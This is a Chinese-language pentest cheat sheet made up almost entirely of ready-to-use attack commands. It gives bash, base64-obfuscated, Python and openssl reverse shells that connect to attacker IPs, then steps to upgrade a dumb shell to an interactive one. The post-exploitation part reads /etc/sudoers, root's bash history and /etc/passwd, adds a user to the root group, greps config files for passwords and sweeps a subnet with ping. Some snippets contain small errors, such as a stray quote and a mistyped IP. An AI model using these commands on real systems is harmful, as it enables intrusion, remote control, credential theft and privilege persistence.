bash 反弹
- 本机监听8080端口
nc -lv 8080
- 目标机bash反弹8080端口
bash -i >& /dev/tcp/192.168.25.144/8080 0>&1
base64编码后反弹
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC43NS45LjE4NS84MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
python反弹
本地监听8080端口
nc -lv 8080
目标机python反弹8080端口
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.186.25.144",8080));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'
在某些特殊环境下,无法利用bash反弹,python是你的不二选择。
openssl加密反弹
- 生成SSL证书的公钥/私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 监听8080端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
- 目标机器上openssl反弹
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:8080 > /tmp/s; rm /tmp/s
哑shell变交互式shell
哑shell 执行
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z暂停服务,回到vps命令行
vps中执行
stty raw -echo
fg
回到哑shell
reset
即可获取交互式shell。
不出网的命令执行
不出网情况下,查找web固定文件,将结果输出到web路径下
find / -name upload.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done
信息收集
查看本地开放TCP、UDP端口
netstat -tulp
-t TCP
-p 进程
-l 显示服务器
-u UDP
-n 使用ip地址,而不是域名
查看进程
ps -aux
查看登录记录
last
所有用户上次登录的信息
lastlog
允许以root用户运行
cat /etc/sudoers
查看root用户历史命令
cat /root/.bash_history
添加用户到root
useradd test 添加用户
passwd 123456 更改密码
usermod -g root test 更改用户组
查看计划任务
crontab -l
查看iptables
iptables -L
查看路由
route
查看系统版本
cat /etc/issue
列出系统所有用户
cat /etc/passwd
查找文件
whereis java
赋予权限
chmod 775 a.gif
后台运行该文件
nohup ./a.gif &
结束所以a.gif进程
kill -9 `ps -aux | grep 'a.gif' | awk '{print $2}'`
python2开启http服务
python -m SimpleHTTPServer 8080
后渗透
判断存活主机
#!/bin/bash
for i in {1..254}
do
ping -c 3 -i 0.2 -W 1 192.168.$i.1 &> /dev/null
if [ $? -eq 0 ] ; then
echo "Host 192.168.$i.1 is up" >> active_result.txt
else
echo "Host 192.168.$i.1 is down"
fi
done
收集password信息
find -type f -name '*.properfies' | xargs grep 'password'
筛选last登录ip
last | awk '{print $3}'
待补充